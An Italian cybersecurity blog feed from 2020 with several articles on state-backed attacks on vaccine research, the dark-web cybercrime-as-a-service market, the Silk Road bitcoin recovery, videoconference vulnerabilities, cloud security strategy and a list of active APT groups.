Il 21 luglio 2020 viene registrato un altro attacco, questa volta da parte della Cina: Jiazhi Dong e Xiaoyu Li entrano nei server di alcune aziende coinvolte nella lavorazione sul vaccino. Questi due criminali assoldati dall’Intelligence Cinese, hanno un CV - o meglio una fedina penale - davvero impressionante: attivi già nel lontano 2009 hanno esfiltrato brevetti industriali in paesi come Spagna, Olanda, UK, Svezia, Germania, Giappone per centinaia di milioni di dollari. Sono stati i primi a colpire durante l’emergenza. Tre vittime: due società americane che studiano la cura per il virus, attaccate il 27 gennaio e il 1 febbraio; più una terza colpita una settimana dopo aver annunciato il proprio coinvolgimento nella ricerca sul vaccino.

Microsoft il 13 novembre 2020 denuncia Nord Corea e Russia per attacchi a laboratori produttori di vaccini in sperimentazione clinica in USA, Canada, Francia, Corea del Sud e India. Questa volta Russia e Corea si spartiscono l’attribuzione degli attacchi. Un’ondata massiva di brute forcing, una tecnica illecita per forzare le password, arriva dai criminali russi denominati Strontium. Altri due gruppi criminali nord coreani, Zinco e Cerium, portano avanti la loro offensiva: mentre il primo invia mail di spear-phishing per rubare credenziali agli utenti, il secondo impersonifica per il medesimo scopo l’Organizzazione Mondiale della Sanità.

Il 27 Novembre avviene l’attacco ad Astrazeneca, azienda farmaceutica che sta sviluppando il primo vaccino al mondo senza RNA. Criminali nord coreani bersagliano i dipendenti sfruttando tecniche di ingegneria sociale. In particolare i criminali offrono, tramite LinkedIn o WhatsApp, posti di lavoro specializzati per cui l’interessato fornisce informazioni sensibili che sarebbero state riutilizzate successivamente per fare breccia nel perimetro aziendale.

Il 3 Dicembre 2020 IBM notifica la possibilità di attacchi da Cina, Russia e Corea del Nord che punterebbero non più ai centri di ricerca ma alla catena del freddo necessaria per il trasporto dei vaccini. Sarebbe proprio la conservazione a circa -70° centigradi dello Pfizer il possibile anello debole nella catena del sistema logistico per il vaccino, per cui in caso di attacco ransomware, i criminali potrebbero richiedere riscatti onerosi per evitare lo spegnimento dei sistemi di raffreddamento.

Il 10 Dicembre, infine, vengono attaccati alcuni server dell’EMA, l’Agenzia europea del farmaco con sede ad Amsterdam, dove sono conservati alcuni documenti che riguardano la “presentazione normativa” del vaccino BNT162b2 delle due case farmaceutiche Pfizer-BioNtech, rispettivamente USA e Germania. Il nullaosta dell’European Medicines Agency per il vaccino è atteso per il 29 dicembre e ha già notificato che questo cyber attacco non interferirà con la revisione. L’ente è inoltre in processo di validazione anche per il vaccino di Moderna, di Astrazeneca (Oxford-Pomezia) e di Johnson&Johnson.

Sars-Cov-2 non ha solo digitalizzato interi paesi ma ha anche scombinato le carte in tavola di potenze mondiali che si contrastano in una guerra “cibernetica” fatta di vulnerabilità e dati sensibili. Il famoso patto di non aggressione cyber firmato nel 2015 tra l’allora presidente americano Barack Obama e quello cinese Xi sembra solo un lontano ricordo.

Il business dietro al business: Cybercrime as a Service

Sara Loprete — Thu, 12 Nov 2020 12:30:01 +0000

Nefilim, Egregor, WastedLocker, Maze. Sono questi i nomi dei Ransomware che stanno colpendo le aziende del mercato italiano. Luxottica è stato uno degli ultimi nomi a riempire le pagine di giornale, nome che sta suscitando scalpore perché sembra che i dati della compagnia siano stati rubati e pubblicati nel Dark Web, contrariamente a quanto dichiarato inizialmente dall’azienda.

E’ piuttosto ovvio che l’attacco all’azienda presuppone un investimento in termini di tempo e preparazione maggiore di quello al privato. Lo sforzo che fanno questi gruppi è però direttamente proporzionale al guadagno: i riscatti che molte aziende pagano sono cifre da capogiro. Come funziona esattamente il business dei gruppi criminali l’avevamo raccontato con il supporto di un Business Model Canvas in versione Dark, modello che ci fa comprendere come il cyber crime si organizzi proprio come un’industria. E a proposito di business, come questi gruppi nascono, così si evolvono: è il caso di Maze, che qualche giorno fa ha dichiarato la chiusura del progetto, probabilmente per aderire a qualcosa di più grande.

Tra le fonti di guadagno: i riscatti

Osservando il modello di business, si nota che una delle fonti di introito dei gruppi criminali, specialmente quelli organizzati e strutturati che prendono di mira le grandi aziende o gli enti governativi – i cosiddetti gruppi ATP - sia proprio il pagamento dei riscatti a seguito del blocco dei sistemi e delle esflitrazioni di dati. Lo stesso pagamento che ha effettuato Garmin solo qualche mese fa di 10 milioni di dollari dopo aver preso WastedLocker.

E’ bene fare una considerazione: l’attacco ransomware rappresenta l’1% del market share degli attacchi a livello mondiale e nonostante ciò un attacco di questo tipo ha successo ogni 11 secondi nel mondo. Tuttavia è difficile, se non impossibile, fare una stima dei guadagni derivanti dai pagamenti dei riscatti. Esiste una cifra media, relativa al 2019, di circa 85.000$ a riscatto; non sappiamo però quante aziende effettivamente dichiarino di aver pagato il riscatto e quali somme. Il 2020, che ha visto un incremento generale degli attacchi, potrebbe aver cambiato le carte in tavola, e la cryptovaluta utilizzata per questo genere di operazioni, inoltre, spesso è difficilmente tracciabile, seppur non impossibile.

Sappiamo in ogni caso che l’industria del cyber crime muove cifre astronomiche, si stima che superi i 1500 miliardi di dollari e solo una parte di questi deriva dagli attacchi ransomware. La domanda che ci si pone a questo punto riguarda le altre fonti di guadagno.

Cybercrime as a Service: il modello che apre le porte del crimine al grande pubblico

Se sai fare bene qualcosa, mai farla gratis, diceva il Joker di Cristopher Nolan. Ed è forse seguendo questo mantra che il mercato del cyber crime ha aperto le porte anche ai profani dell’informatica. Da qualche anno a questa parte si è costituito e si va consolidando un modello che si può definire del Cybercrime as a Service, ovvero la commercializzazione di strumenti e prodotti atti a commettere crimini informatici: dai malware, ai database di informazioni rubate, alle botnet. Una distribuzione non tanto diversa da quella di qualsiasi altra tipologia di business. Questo modello prende una declinazione diversa a seconda del soggetto della compravendita e degli attori coinvolti.

Database e nuove identità

Nel Dark Web se si sa dove cercare, si può trovare qualunque cosa. Seguendo questo principio, possiamo rispondere alla domanda: dove finiscono i nostri dati quando vengono rubati?

Tra il furto di dati e credenziali e l’utilizzo degli stessi per scopi illeciti, però, avvengono molto spesso dei “passaggi di proprietà”: queste informazioni vengono vendute al grande pubblico, per un totale stimato di $500 miliardi. Non è possibile conoscere con esattezza quanti siti e contenuti ci siano nel Dark Web, ma si stima ve ne siano per 18 milioni di GB e 550 miliardi di documenti, vale a dire che l’offerta soddisfa pienamente la domanda.

Il listino prezzi è vario: un passaporto in Europa costa circa 700 dollari, una patente $300, un account PayPal parte da $125 e varia in base alla disponibilità del conto, per i meno pretenziosi una carta di credito “solo” $45.

Una ricerca di SafetyDetectives ha evidenziato come “rifarsi una vita” in Europa abbia un costo minimo di 1240 dollari, il quale include una nuova identità completa, titoli di studio e un profilo finanziario di tutto rispetto, ed è tutto facilmente acquistabile sul Dark Web.

Se invece l’obiettivo dell’acquirente è meno ambizioso, si possono trovare account di posta elettronica e di social network: Gmail vale circa $155, un profilo Facebook $75, Instragram $55 e Twitter $49. Inutile dire che questi account sono rubati, ad esempio tramite campagne di Phishing, ed è pertanto illegale acquistarli.

Malware as a Service

Non serve essere un professionista del coding per organizzare un attacco informatico. Oggi chiunque può “acquistare”, personalizzare e diffondere malware. Nella sua variante più famosa, quella del ransomware, questa pratica prende il nome di Ransomware as a service o RaaS.

L’acquirente può acquistare ciò che desidera proprio come fosse su Amazon. Una delle più popolari piattaforme di Ransomware as a Service è oggi RaaSberry, molto semplice da utilizzare: offre una selezione di pacchetti ransomware a partire da 60 e fino a 650 dollari.

Le quote di profitto derivato dall’attacco andato a buon fine sono solitamente del 70-60% per chi compra e del 30-40% per chi vende, che oltre al “prodotto” offre il proprio tempo e la propria competenza.

Quando parliamo di MaaS o RaaS, malware e ransomware vengono programmati ad hoc per questo scopo: GandCrab e Cerber sono due esempi di ransomware che sono stati sviluppati in base a questo modello attraverso vari servizi online come Satana oppure Hall of Ransomware: il sito raggiunto grazie al portale Tor, consente a chiunque di creare e configurare qualsiasi tipologia di ransomware e scegliere tra una vasta gamma di tecniche di infezione, selezionare la richiesta di riscatto, il contatto e tracciare la somma ricevuta. GrandCrab in particolare, ha fruttato oltre 2 miliardi di dollari in riscatti nel 2019.

Un vero e proprio “kit ransomware” per facilitare l’esecuzione di attacchi per i criminali principianti e poter iniziare a estorcere denaro grazie alla possibilità di bloccare e sequestrare dati di una macchina con un solo click.

Botnet a noleggio

Un altro prodotto che puoi acquistare dallo scaffale immenso del mercato nero, è l’attacco DDoS. Un attacco DDoS (Distributed Denial of Service) per andare a buon fine necessita di reti botnet, ovvero migliaia di dispositivi compromessi, in grado di generare traffico dati verso uno specifico target con l’obiettivo di saturarne in poco tempo le risorse e di renderlo indisponibile.

Alcuni criminali hanno a disposizione queste reti botnet che sono in grado di indirizzare una certa quantità di traffico. Sulla base di questa caratteristica, della qualità della botnet (una botnet di dispositivi IoT vale meno di una di server, ad esempio) e del tempo richiesto per l’attacco vengono impostati i prezzi: un attacco di tre ore può costare $60, per 5 minuti solo $5.

In alternativa puoi acquistare un accesso via RDP e usarlo per diffondere malware o per altre attività illecite: i costi partono da $8 e puoi selezionare il paese e la città di tuo interesse e il sistema operativo, avere una lista di possibilità e vedere i dettagli di ogni server disponibile.

Questa cooperazione tra criminali – che siano esperti del prodotto o acquirenti ignari – è uno sviluppo preoccupante. La condivisione di consigli, tattiche e di piattaforme centralizzate consente loro di eseguire attacchi più avanzati e con riscatti potenzialmente più onerosi. Un’industria moderna in continua evoluzione che non sembra avere intenzione di fermarsi.

Un miliardo di dollari e l'ombra di Silk Road

Marco Lucchina — Sun, 08 Nov 2020 10:36:01 +0000

Silk Road è stato un sito di e-commerce del Dark Web, forse il più famoso, sicuramente uno dei pochi giunti alla ribalta della cronaca. Per essere più precisi la cronaca l’ha occupata il suo fondatore, Ross Ulbricht, condannato nel 2017 all’ergastolo senza possibilità di concessione di libertà condizionale.

Ulbricht o Dread Pirate Roberts, classe 1984, creò il sito Silk Road nel 2009, agli albori di questo mondo, nell’anno zero dei Bitcoin; nei quattro anni successivi, fino al suo arresto, il sito vendette ogni genere di droga, pornografia, prodotti contraffatti, documenti falsificati e armi. Si stimava che gli incassi fossero di oltre due milioni di dollari al giorno.

In piena battaglia per le elezioni presidenziali 2020, la notizia del trasferimento di 69369 Bitcoin ha destato subito attenzione. Si tratta di circa un miliardo di dollari e si sapeva che il Wallet di provenienza fosse precedentemente associato proprio a Silk Road. Gli analisti della blockchain che hanno segnalato la transazione, hanno anche sottolineato come si trattasse del quarto più grande wallet a livello mondiale e che fosse dormiente dal 2015.

Non tutti sanno che un wallet Bitcoin non può essere aperto da nessuno, autorità comprese, senza il possesso della chiave privata con cui è stato creato. Una delle cose a cui fare maggiore attenzione quando si maneggiano criptovalute è proprio evitare di perdere la chiave privata altrimenti il contenuto del wallet rimarrà per sempre all’interno del sistema senza possibilità di essere estratto. Un limbo tecnologico per valute virtuali.

Altro dettaglio: Bitcoin non è completamente anonimo, chi paga e chi riceve il denaro devono sapere gli indirizzi dei loro rispettivi wallet e ogni singola transazione è scritta su un registro pubblico: la “ledger”.

Il Dipartimento di Giustizia degli Stati Uniti ha dichiarato di essere entrato in possesso del denaro, una parte dei 600000 Bitcoin che si stima la piattaforma abbia guadagnato negli anni di attività (ndr: allora un BTC valeva molto meno di oggi). La domanda che in tanti si sono posti è come abbiano fatto: sono effettivamente riusciti a violare la blockchain o un wallet?

All’interno del Dipartimento di Giustizia esiste un apposito nucleo investigativo il cui compito principale è quello di seguire i flussi di denaro, anche delle criptovalute. Follow-the-money, del resto, è una strategia molto efficace contro il crimine organizzato. Purtroppo però non sono stati loro a forzare il wallet, hanno però rintracciato chi aveva precedentemente forzato Silk Road e instradato parte delle transazioni verso (almeno) due wallet che lui stesso controllava. Riuscì a farlo senza hackerare il wallet in sè, ma il meccanismo (detto la lavatrice) che Silk Road utilizzava per non dare ai compratori i codici reali dei suoi wallet; altrimenti sarebbe stato facile per le autorità fingersi acquirenti per avere gli indirizzi (ossia le chiavi pubbliche).

Il meccanismo in questione, chiamato “tumbler” inviava tutte le transazioni attraverso una serie complessa e semi-randomica di transazioni fantoccio. Come detto, tutte le transazioni sono scritte nel registro pubblico con chiave pubblica sorgente, quella di destinazione e il valore. Quindi non è sufficiente spostare lo stesso valore su un terzo wallet in quanto sarebbe facilmente rintracciabile. No, l’ingegnoso sistema di lavanderia prevedeva di separare la transazione iniziale in moltissime di importo diverso e di diluirle nel tempo. La ledger è unica e memorizza in ordine cronologico: un numero indefinitamente grande di transazioni con valori casuali sarebbe il classico ago nel pagliaio.

La nostra tesi è che l’autore fosse complice del meccanismo: lo stesso sito Silk Road pubblicizzava l’efficacia del loro “tumbler” indicando che fosse stato scritto da zero da un team di talentosi sviluppatori con molta esperienza. Uno di loro deve aver pensato di emulare qualche tecnico bancario degli anni ottanta, quando si informatizzarono le transazioni e nell’euforia del momento non si fece molta attenzione al terzo e quarto decimale. Deduzione dovuta alle evidenze investigative che rilevarono che Ulbricht fosse al corrente dell’identità di “Mr.X” e che lo avesse intimato di restituite il malloppo. Del resto il 10% del totale non è esattamente un decimale.

Mr.X non fece nulla di tutto questo fino al 5 novembre 2020 quando firmò un accordo con il Dipartimento di Giustizia per la restituzione del wallet. Evidentemente gli investigatori devono essere riusciti a ricostruire la catena delle transazioni e a dare un nome a “Mr.X”.

Follow-the-money funziona: ci hanno messo del tempo ma, alla fine, sono rientrati in possesso di un miliardo di dollari.

Le piattaforme di videoconference come vettore di attacco

Sara Loprete — Fri, 11 Sep 2020 11:16:01 +0000

E’ il 2003. Sta entrando nel mercato uno dei tool più popolari di sempre, che darà poi via ad una adozione graduale di strumenti per videochiamate in tutto il mondo: Skype.

Nel 2020 strumenti di collaboration e videoconference sono all’ordine del giorno per chi lavora in ambienti non strettamente produttivi. Da Marzo 2020 in particolare, quando il mondo ha improvvisamente scoperto le potenzialità del digitale, inizia una corsa a prendere confidenza con diversi strumenti: Zoom, Microsoft Teams, Google Meet, Webex Meetings, ecc. Da un’indagine Statista il 59% delle aziende non ne aveva mai usufruito. Questo fenomeno, in breve, assume dimensioni tali da suscitare l’attenzione di tutti.

Con in testa l’obiettivo di far funzionare le comunicazioni da remoto, molte aziende hanno sottovalutato il cambio di paradigma della security. Fino ad allora erano ragionevolmente protette dai loro firewall e da connessioni iniziate e terminate in ambienti di fiducia. I castelli medioevali hanno dovuto aprire le porte al commercio dell’era moderna e, in breve, hanno scoperto che quelle mura, loro baluardo per secoli, sono diventate inutili.

Nel momento in cui si estende la propria infrastruttura e il perimetro aziendale perde di significato, senza un’adeguata strategia di rilevazione e risposta delle minacce, i rischi sono svariati. Anche la stampa specializzata, attirata dal catastrofismo degli attacchi ransomware, non sta divulgando la moltitudine di pericoli in grado di compromettere l’operatività delle aziende.

Tutti i servizi devono essere oggetto di attenzione, comprese le piattaforme di collaborazione e videoconferenza.

Zoom in particolare ha subito un boost notevole, diventando uno dei principali tool utilizzati in Italia con più di 170.000 Daily Active Users nel mese di marzo e una crescita in borsa impressionante.

Non è stato solo l’utilizzo diffuso ad aver dato notorietà a questa piattaforma. Zoom ha fatto parlare di sé anche per il numero e le tipologie di vulnerabilità.

Vulnerabilità e rischi

Il problema più noto è stato il cosiddetto Zoom Bombing, il fenomeno per cui persone non autorizzate riuscivano a intrufolarsi nelle videoconferenze altrui. Tecnicamente si parla di attacco brute-force. E’ stato anche il tweet di Boris Johnson, con meeting ID e nomi dei ministri coinvolti esposti a destare preoccupazione per questa misconfiguration di Zoom, per cui bastava avere il codice della riunione a nove cifre per entrare in una sala virtuale e fare potenzialmente ciò che si volesse.

Gli impatti di un attacco come questo potrebbero variare dal furto di credenziali, all’accesso nei sistemi aziendali all’invio di contenuti e link malevoli.

Non solo: durante l’arco di quest’anno sono state scoperte 6 vulnerabilità di Zoom di cui una RCE di livello critico sul client Windows, vulnerabilità simile a quella scoperta nel 2019 per il client MacOS.

Quest’ultima ha ricevuto aggiornamento solo a distanza di 4 giorni dalla scoperta, la causa di questo ritardo dalla zero-day è da ricondurre al team di sviluppo di Zoom che non si è preoccupato di ascoltare i ricercatori che avevano segnalato il problema per tempo. Troppo presi con le nuove funzionalità. Sfruttando questa vulnerabilità un Bad Actor può eseguire codice a privilegio utente su un client che sta effettuando una chiamata. (Ref: https://threatpost.com/unpatched-zoom-bug-rce/157317/)

Diversi attacchi sono andati a buon fine: solo ad aprile sono stati pubblicati nel darkweb username e password di ben 2300 account Zoom.

Nemmeno Microsoft è esente dalla bellezza dell’imperfezione del codice.

La vulnerabilità che ha portato agli FCM Messages di Microsoft Teams è da ricondurre all’uso da parte degli sviluppatori Microsoft del framework Firebase Cloud Messaging per l’invio delle notifiche su device android. Questa vulnerabilità è stata scoperta dapprima attraverso la challenge #AdroidHackingMonth tenutasi a luglio e segnalata il 4 dello stesso mese. Google non ha dato peso ha questa vulenerabilità finché non è stata sfruttata “in the wild” prima con degli exploit di Hangouts e poi con Microsoft Teams. (Ref: https://abss.me/posts/fcm-takeover/)

Questo genere di vulnerabilità hanno le carte in regola per portare ad attacchi mirati e studiati per sfruttare proprio quelle falle di sistema. Esistono migliaia di vulnerabilità come queste: ogni individuo, utilizzando questi strumenti rappresenta un obiettivo. La consapevolezza del rischio da parte sua e dell’organizzazione rappresenta il primo meccanismo di difesa contro i potenziali attacchi informatici, in caso contrario, invece, si trasforma nella vulnerabilità più fragile.

Il Cyber crime agisce come un’industria: quando scorge un’opportunità non tarda a coglierla. Milioni di utenti che scaricano ed iniziano ad usare nuove piattaforme, sono senza ombra di dubbio una grande opportunità.

È semplice comprendere perché sia importante proteggere le videocall da intrusioni esterne: dai contenuti sensibili di cui si discute, alle presentazioni condivise, alle immagini di casa. Un po’ più complesso sapere che, prima o poi, capiterà a tutti se non si investe nelle tecnologie e nelle competenze necessarie per proteggersi.

Cloud e Security: adottare una strategia di difesa efficace

Filadelfio Emanuele — Tue, 08 Sep 2020 10:36:01 +0000

Tra le sfide che ogni azienda si trova o si troverà ad affrontare assumono un ruolo di primaria importanza l’adozione del cloud e la definizione di un piano concreto di security.

Proteggere gli investimenti, la proprietà intellettuale, i propri asset e dati aziendali può realizzarsi soltanto attraverso un percorso continuativo che va adattato e migliorato nel tempo.

Più è forte la spinta innovativa e la dinamicità dell’azienda, maggiore è il legame tra cloud e security: andiamo ad analizzare gli aspetti che compongono questa complessità e come è possibile affrontarli.

Cloud e Security: strategia di difesa

Storicamente, prima dell’utilizzo di servizi cloud, il reparto IT doveva occuparsi del proprio data center e di utenti che difficilmente si muovevano fuori dalla rete aziendale. Nel mercato italiano esistono ancora parecchie realtà che utilizzano questo layout.

L’approccio consolidato nel tempo è quello di:

difendere il perimetro della rete;
difendere il contenuto della rete;
difendere i dispositivi, anche in mobilità.

Questo piano assomiglia molto alla difesa di un fortino, in cui è necessario proteggere i confini e verificare che non ci siano brecce nella protezione.

Negli anni gli strumenti informatici e le soluzioni di cyber security hanno raggiunto un livello di maturità che permette di definire come maturo l’approccio alla difesa basato su:

Tecnologia di difesa
- sistemi IPS e IDS;
- firewall perimetrali, meglio se di nuova generazione;
- antivirus e antimalware con evoluzione sui sistemi di EDR.
Soluzioni e servizi di Cyber Security
- raccolta dei log degli apparati all’interno di un SIEM;
- generazione di alert verso un SOC;
- monitoraggio continuo del traffico di rete;
- monitoraggio continuo delle vulnerabilità e relative remediation;
Best Practice
- segregazione delle reti;
- autenticazione centralizzata;
- definizione puntuale dei permessi degli utenti.

Con l’adozione dei servizi offerti dai cloud provider questo approccio non è più sufficiente.

Il perimetro cambia e in alcune situazioni diventa effimero, le applicazioni e i servizi a disposizione degli utenti devono essere raggiungibili ovunque.

La complessità aumenta se ragioniamo su soluzioni multi-cloud e hybrid-cloud: da una parte dobbiamo validare gli approcci su fornitori differenti e dall’altra dobbiamo gestire il legame tra il data center locale e i servizi cloud.

Cloud e Security: shared responsibility

In un modello tradizionale basato su infrastruttura on-premise la responsabilità di attuare un efficace piano di security e rispondere prontamente alle minacce è totalmente in carico all’azienda. Con l’accesso ai servizi cloud questo paradigma cade ed è necessario chiarire in quali casi la responsabilità è del cloud service provider (CSP Responsibility) e in quali altri è del cliente (Customer Responsibility).

Questa struttura non è fissa, ma varia in base alla tipologia di servizio che viene acquisito dal cloud provider.

Gartner analizza i 3 modelli classici dei servizi cloud: 1. IaaS: in cui il cliente ha spostato sul cloud provider la responsabilità dell’infrastruttura fisica e della componente di virtualizzazione; 2. PaaS: in cui il CSP copre un ambito più ampio fino ai servizi di Runtime e Middleware; 3. SaaS: in cui il cliente ha delegato anche la gestione delle applicazioni.

Rimane però chiaro un aspetto fondamentale: il cliente avrà sempre la responsabilità delle persone e di tutti gli aspetti legati all’identità digitale e ai dati utilizzati da persone e applicazioni.

È quindi utile analizzare l’interpretazione del modello di shared responsibility di due cloud service provider (Azure e AWS). Microsoft pone particolare attenzione alla tipologia di servizio erogato (IaaS, PaaS, SaaS) sulla falsa riga di Gartner.

Aggiunge però due aspetti:

divide la gestione dell’infrastruttura di identity dalla gestione degli account e identità;
esplicita che la gestione dei device è sempre in carico al cliente.

AWS, invece, esprime lo stesso concetto con una visione più legata al layout infrastrutturale.

Interessante l’idea del contenuto e contenitore:

il contenitore (Responsibility for security OF the cloud) è in carico ad AWS;
il contenuto (Responsibility for security IN the cloud) è sempre in carico al cliente;

Approccio all’adozione del cloud

Per avere una strategia di successo per l’adozione del cloud è necessario procedere in modo graduale: esistono molti esempi di aziende che hanno adottato un approccio “big-bang”, fallendo e pagando duramente tale errore.

L’adozione del cloud non è quindi un processo statico, ma varia nel tempo.

Applicando la metodologia DevSecOps, è necessario utilizzare un modello ricorsivo, diviso in tre fasi: 1. secure design: gli aspetti di security devono essere analizzati fin dalle prime fasi del disegno architetturale in quanto vitali per i passi successivi. Il design può essere eseguito top-down, scendendo progressivamente di livello di dettaglio; 2. secure build: l’implementazione di quanto definito deve essere eseguita monitorando ogni step per evitare che mis-configuration generino incident di sicurezza. Prima di rilasciare in produzione qualunque soluzione è necessario eseguire un security assessment per risolvere tempestivamente eventuali vulnerabilità; 3. manage security: è necessario monitorare in mondo continuativo l’utilizzo di tali servizi e le nuove minacce. In questo ambito bisogna continuamente analizzare il flusso di informazioni, raccogliere i log e centralizzarli in un SIEM, eseguire costantemente security assessment ed eventualmente triggerare il processo di secure design.

Cloud e Security: quali sono le priorità

Riportiamo la piramide di Gartner che schematizza i temi che devono essere affrontati per poter adottare il cloud con un crescente grado di sicurezza.

È chiaro che è necessario analizzare in modo prioritario i temi che stanno alla base e aggiungere componenti con il crescere della maturità e adozione.

Analizziamo, quindi, i sei aspetti indispensabili da affrontare.

Secure Network

L’approccio da utilizzare per configurare i vari tenant e applicazioni cloud è quello di segregare il più possibile il network tra i vari ambienti per ridurre il rischio che la compromissione di un sistema possa impattare anche altri sistemi.

L’utilizzo di VPN risolve le necessità di comunicazione, in quanto il traffico passa su canale sicuro, ma può essere ospitato su tipologie diverse di connettività (internet, dedicated ecc.)

Un “must” deve essere:

la segregazione delle reti di produzione on-premise da quelle del cloud;
autorizzare solo le comunicazioni necessarie.

Identity Management

La sicurezza nel cloud è basata sulla protezione dell’identità e in modo secondario sulla protezione del perimetro.

Per questo motivo è necessario adottare sistemi di identity management avanzati che permettano di centralizzare le credenziali, abilitare il single-sign on e gestire le autorizzazioni per applicazione.

Una corretta profilazione degli utenti sta alla basa del buon funzionamento di ogni sistema di identity management.

Fortemente consigliata l’adozione di soluzioni di MFA (multi factor authentication) per risolvere i limiti umani della gestione delle complessità delle password e rimuovere i rischi di brute force attack.

Porre attenzione agli amministratori dei sistemi che devono avere un livello di sicurezza nell’autenticazione maggiore rispetto ad un utente base (es. password complessa per gli utenti standard e MFA per gli amministratori).

Access Management

I sistemi di Rule Base Access Control (RBAC) permettono di definire in modo puntuale le autorizzazioni di ogni singolo utente e in modo granulare ogni singola tipologia di attività permessa.

Vale la regola che le autorizzazioni devono essere cucite in modo sartoriale sulle esigenze dell’utente, monitorando in modo costante le attività eseguite e rimuovendo eventuali autorizzazioni non necessarie.

Log & Analyze

Con la dinamicità del cloud, bisogna attivare il logging di tutti i componenti utilizzati, del traffico che viene generato tra di loro e verso il data center cliente.

Tali log vanno raccolti utilizzando gli strumenti del CSP che ne fa una prima scrematura e poi centralizzarli in un SIEM per poter applicare regole di correlazione e generare allarmi verso il SOC.

I vendor di SIEM più noti hanno creato dei connettori per i vari componenti del cloud con già applicate le regole base di correlazione.

Non è però semplice definire uno standard, in quanto ogni azienda può approcciare i servizi cloud in modo differente.

Continuous Assessment

Non possiamo fidarci del design iniziale e dell’implementazione eseguita prima di rilasciare la soluzione in produzione.

È quindi importante monitorare costantemente la cloud security posture. Esistono diverse soluzioni sul mercato (CSPM Tools), spesso non fornite dal cloud service provider, che confrontano le policy definite con l’effettiva configurazione presente sul tenant.

Visto che “tutto è software”, il rischio di mis-configuration è molto alto.

All’interno di tali tools ci sono profili standard forniti dal vendor, ma è possibile personalizzare la matrice di confronto e i controlli da eseguire.

Encrypt if it’s possible

La responsabilità della sicurezza dei dati rimane sempre in carico al cliente ed è per questo consigliato attivare le funzionalità di encryption native nelle applicazioni e basarsi su un sistema avanzato di gestione delle chiavi.

In questo modo, eventuali compromissioni del cloud provider o del canale di comunicazione non permettono ai cyber criminali di accedere ai dati aziendali.

Raccomandazioni

L’utilizzo dei servizi cloud è ormai uno standard di mercato. I Cloud Service Provider ampliano costantemente le funzionalità offerte e tale processo deve essere continuamente gestito.

Ad esempio, durante l’emergenza Covid è esploso l’utilizzo degli strumenti di collaborazione cloud (Teams, Zoom, Google Cloud), senza però una governance centralizzata.

L’adozione graduale del cloud è fondamentale, ma è chiaro che non tutte le decisioni e le scelte passano dal reparto IT dell’azienda (Shadow IT).

Per questo motivo è necessario un monitoraggio costante dei servizi utilizzati dagli utenti per correggere il design o chiudere falle di sicurezza in modo tempestivo.

Non è più possibile approcciare la security proteggendo il perimetro in quanto i servizi sono sempre più ibridi e usati in mobilità.

👉 Il seguente articolo è stato scritto per Cybersecurity360.it 👈

Advance Persistent Threat: i nuovi Cyber criminali

Marco Lucchina — Thu, 06 Aug 2020 14:16:01 +0000

Nelle ultime settimane Evil Corp è emersa all’attenzione del grande pubblico per l’attacco a Garmin e il (probabile) riscatto di 10 milioni di dollari che ha intascato. Si tratta di un gruppo di Cyber criminali, presumibilmente operanti dal territorio russo, che si districa tra attacchi informatici e attività di intelligence. L’intreccio che queste due attività assumono ha creato una nuova categoria di soggetti.

Le Cyber Defense Agency occidentali definiscono questi gruppi con una sigla, APT - Advance Persistent Threat, che indica tre caratteristiche: hanno capacità avanzate, risorse finanziarie per perpetuare nel tempo le minacce e sono pericolosi. Si tratta degli attori che non seguono il copione di «Avarage Security», ma operano con obiettivi specifici, preferendo le grandi organizzazioni e con un orizzonte geopolitico globale.

Solitamente hanno un duplice obiettivo: fare soldi e ottenere informazioni. I due scopi si intrecciano in continuazione e, a seconda delle necessità, uno ottiene priorità sull’altro. Esiste però uno schema comune: prima si esfiltrano le informazioni e poi si cerca di monetizzare con la loro vendita o la richiesta di un riscatto. Esiste anche l’ipotesi che, a volte, lavorino su mandato di enti governativi, in tal caso si può supporre che le informazioni le vendano a loro. Si differenziano dai “Cyber criminali comuni” in quanto non utilizzano risorse già disponibili ma sono in grado di crearne di proprie,come potrebbe fare una grande organizzazione.

MITRE ATT&CK: comprendere il fenomeno per combatterlo

Per una comprensione più tecnica del fenomeno, il framework di riferimento è il MITRE ATT&CK, sviluppato sulla base dell’osservazione delle tattiche e delle tecniche di attacco. Il MITRE è una associazione no-profit che si occupa di valutazione delle tecnologie; solo per caso ha due sedi: una all’interno di uno dei più importanti centri scolastici per la formazione tecnologica e una a fianco della National Security Agency. Uno degli obiettivi è mappare le attività dei diversi gruppi operanti nell’ombra del Cybercrime per il loro comportamento, classificando l’uso di tecniche omogenee e mappandone l’evoluzione nel tempo.

In egual modo le diverse Agenzie di Intelligence cercano di creare connessioni tra questi gruppi e i vari stati. Un esempio interessante è quanto fatto dagli Israeliani nel caso di un programma Iraniano di sorveglianza della popolazione: prima sono riusciti a ricostruire l’intero programma e ad entrare in possesso dei dati e poi lo hanno associato ad un gruppo operante in collaborazione con i russi. Il programma in questione è «Domestic Kitten».

Le attività di sorveglianza attraverso malware di diverso tipo sono le microspie del terzo millennio: nel caso di “NetTraveler is Running!” l’obiettivo era monitorare le attività di circa 400 persone di alto profilo, prevalentemente ufficiali governativi e diplomatici, in 40 paesi. Tutto ebbe inizio con ATP 1 e gli attacchi TitanRain che colpirono il Ministero della Difesa degli Stati Uniti e GhostNet, una rete di macchine compromesse distribuite tra America, Europa e Asia. Fu probabilmente una delle prime iniziative di questo tipo collegabili alla Cina.

Le organizzazioni APT in attività

Esistono diverse liste che hanno l’obiettivo di mantenere aggiornate le informazioni su queste organizzazioni, ecco alcune attualmente in attività:

APT 39 - attribuibile all’Iran, agisce prevalentemente in medio oriente;
APT 33 - attribuibile all’Iran, è presentemente attiva nello spionaggio nei confronti delle industri aerospaziali ed energetiche;
APT 34 - attribuibile all’Iran, è presentemente attiva nei confronti di istituzioni governative e finanziarie;
APT 41 «Double Dragon» - attribuibile alla Cina e specializzata nelle intrusioni nell’industria del gaming;
APT 40 - attribuibile alla Cina e storicamente attiva nel sudest asiatico, ha come obiettivi preferiti energia e difesa;
APT 38 - attribuibile alla Corea del Nord e attivo nei confronti di organizzazioni finanziarie occidentali;
APT 37 - attribuibile alla Corea del Nord e principalmente attivo nei confronti della Corea del Sud;
APT 32 «OceanLotus Group» - attribuibile al Vietnam;
APT 30 - attribuibile alla Cina, molto attiva nella diffusione di malware per attacchi sul lungo periodo;
APT 29 - attribuibile alla Russia e specializzato nello spionaggio verso i governi dell’Europa Occidentale;
APT 28 «Tsar Team» - attribuibile alla Russia, attivo nel Caucaso e nei confronti delle installazioni NATO;
APT 19 «Codoso Team» - attribuibile alla Cina e ha come obiettivi il settore legale e quello degli investimenti.
